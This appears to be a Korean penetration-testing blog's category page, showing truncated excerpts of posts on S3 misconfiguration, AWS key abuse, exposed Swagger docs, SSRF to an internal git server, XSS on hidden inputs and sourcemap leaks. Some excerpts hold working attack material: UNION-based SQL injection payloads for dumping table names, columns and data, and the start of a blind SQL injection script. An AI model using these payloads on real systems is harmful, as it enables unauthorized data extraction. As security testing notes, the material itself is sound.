일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
- S3
- Malware Sample
- 많다..
- esbuild
- 보이스피싱 #대검찰청 #명의도용 #비밀번호 #계좌번호 #공공기관 #가짜검찰청
- ssrf
- Frida
- shell_gpt
- self-signed
- 로맨스스캠
- 채팅환전사기
- MongoDB #NoSQL #CreateUser #DropUser #mongod #mognod.conf
- speed-measure-webpack-plugin
- 안전결제
- Sequoia
- 중고나라
- ue4dumper
- 변태는
- 척추관협착증
- 네이버카페
- CJ대한통운 #쿠팡 #통관번호오류 #통관고유번호오류 #안주원팀장 #모건인베스트
- CryptoJS
- intelmac
- 취약점
- EC2
- XSS
- AWS
- 모의해킹
- 허리디스크
- 다우오피스
- Today
- Total
목록모의해킹 (28)
annyoung
이전에 이어서 파일 업로드할 때 AWS의 S3를 많이들 사용하곤 하는데, 잘못된 설정으로 Public인 경우 버킷 오브젝트를 조회하거나 업로드하거나 삭제할 수 있다. 기업의 개발자/보안 담당자라면 버킷 리스트를 쭉 뽑아서 bash shell/python 등으로 간단하게 작성해서 실행해보길 권장한다. aws s3 ls s3://[BUCKET_NAME]/ --no-sign-request 추측하기로 기업에서 public으로 오픈된 버킷이 존재한다면 다른 버킷도 영향이 있을 수 있다.왜냐면 잘못된 IAM role이 적용되어 있는 public 버킷을 복사해서 그대로 쓰는 경우가 대다수이기 때문이다.
모의해킹 하다보면 가끔 서비스에서 AWS accessKey를 발급하는 API를 사용하는 경우가 있다. 적절한 role을 부여받으면 상관은 없다 생각되는데, 이보다 과도한 role을 배정받는 경우 취약한 경우가 발생하곤한다. 예를 들어서 S3로 파일 업로드할 때 버킷에 업로드하기 위해 accessKey(aws_access_key_id, aws_secret_access_key, aws_session_token)를 요청하고 API에서는 결과를 준다. uploadObject role만 할당받은 경우 업로드만 되기 때문에 덜 취약하다고 생각할 수 있는데, 동일하게 취약하다. 왜냐면 공격자가 경로를 아는 경우 파일을 덮어씌워서 공급망 공격을 할 수 있기 때문이다.아무튼.. accessKey는 대부분 IAM role..
대다수의 개발자들이 Swagger API Document를 이용해서 API 문서를 자동 또는 수동으로 정리하곤한다. 기본적으로 /swagger-ui/index.html을 사용하거나 /swagger/index.html을 사용해서 접근하곤 하지만.. 비인가자에 대한 외부 접근 차단을 위해 또는 사내 규칙 등으로 인해 의미없는 단어로 URL 라우팅을 변경한다. 예를 들어 /nopsled-swagger/view.html과 같이 수정해서 운영에 배포하는 경우가 존재한다. 그 경우엔 Swagger에서 사용하는 API에 대한 json 정보들이 담겨있는 api-docs를 찾아보면 가끔 나온다. 참고로 나는 Swagger를 발견하면 Swagger Authentication을 적용하라고 하는데.. 엔드포인트만 변경해놓고 ..
SQL 인젝션 벡터를 cURL로 복사한 후에 인터넷에서 Curl converter를 이용해서 포팅한 후 사용하면 된다. 여기서 컨버팅되는 headers는 config.py로 따로 뺀 후에 headers로 그대로 선언해주면 되고, 세션은 그냥 쿠키만 따로 오버라이딩해서 사용하면 된다. (로그인까지 만드는건 시간낭비...!) pythonimport requestsfrom config import headersfrom urllib.parse import quote_plusbin_str = ''data = "idx=1"headers['Cookie'] = '' # overriding cookie for login sessionfor i in range(1, 13): # length(database()): 12 ..
모의해킹을 하다보면 아주 가끔 레거시한 환경에서 SQL Injection이 보이곤한다. 자주쓸 것 같아서 메모해둬야겠다 싶어서 적어놔야겠다. table_schema.table_name 형식으로 테이블명 가져오기' union all select 1,group_concat(concat(table_schema, 0x2E, table_name)),3 from information_schema.tables# 테이블 컬럼 가져오기' union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='$TABLE_NAME'# 테이블 데이터 가져오기PoC용으로 1개만 가져오도록 limit으로 잘랐음' union a..
폴더 정리하다가 찾은 코드인데 나름 재밌었던 취약점이었다. example.com의 서버가 이미지 다운로드를 지원하고 있었고, 아마도 example.com이 DMZ에 있던거 같은데 이로 인해서 내부 git에 접근할 수 있던 취약점이었다. 물론 git commit date가 최소 2 years ago 이러다보니.. 버려진 사이트 같았고 인증 절차가 없다보니 git에 업로드된 소스코드들을 볼 수 있었다.import requestsfrom flask import Flask, requestapp = Flask(__name__)@app.route('/gitweb')def index(): return requests.get('https://example.com/v1/download/image', dict( ..
2024년 7월 25일에 추가된 WebAPI oncontentvisibilityautostatechange 덕분에 input type이 hidden인 경우에도 XSS를 트리거할 수 있게 되었다. * 페이로드 출처: https://x.com/kinugawamasato/status/1816234368714871185

항상 sourcemap 관련해서 글을 쓰게 되는데, 오늘은 모의해킹하면서 신기한 서비스를 하나 발견했다. 대부분의 sourcemap은 asset들 가장 최하단에 //# sourceMappingURL=/hashed-assets/2189-fba78f1fdbd912f4.js.map 이렇게 붙게 되고, 크롬에서는 이를 파싱해서 sourcemap 파일과 매핑해서 원본 소스코드를 보여준다. ms teams에서는 sourcemap에 대한 민감도를 인지하고 있는지, 내부(로컬)에서만 사용할 수 있도록 URL을 구성해놨다. 이런 경우엔 외부에서 local.teams.office.com엔 접속이 불가능하지만, 내부에서는 DNS던 hosts 파일이던 해당 도메인의 IP를 받아올 수 있고 접근할 수 있다. 도메인이 dev가 ..

RN 동작 방식 및 디버깅React Native는 컴파일(빌드)을 통해 모든 코드들이 *.bundle로 번들링된다. 개발자마다 bundle의 이름을 다르게 설정하기도 하는데, 기본적으로 index.ios.bundle와 index.android.bundle인 것으로 알고 있다.(또는 버전에 따라 main.jsbundle로 보여지기도 한다.)이러한 bundle은 Android의 경우 V8 Engine에서 돌아가고, iOS의 경우 JavascriptCore Engine를 이용해 구동된다. 여기서 debug 모드가 enable 되어 있는 경우 Android는 chrome remote debugging을 통해 디버깅이 가능하고, 또는 Frida를 이용해 webview의 debug 모드를 강제로 활성화 시킬 수 있..

gname(NamePoolData) 구하기NamePoolData를 얻는 방법은 버전에 따라 다르긴한데 FNamePool을 역추적해서 호출하는 녀석을 확인해야 한다. 대표적으로 하나를 확인해보면 FNamePool을 호출하면서 byte_D0DD440을 파라미터로 넘겨주는데(원래는 unk_D0DD440), 이게 NamePoolData라고 보면된다. 이렇게 NamePoolData의 offset은 0xD0DD440이다. guobj(GUObjectArray) 구하기Strings에서 GUObjectArray 검색해서 더블 클릭 여기서 xrefs로 참조하는 곳으로 간다음에 Export해서 사용하는걸 볼 수 있는데, 이거 다시 더블 클릭해서 들어가면 GUObjectArray의 offset을 구할 수 있고 0xD12192..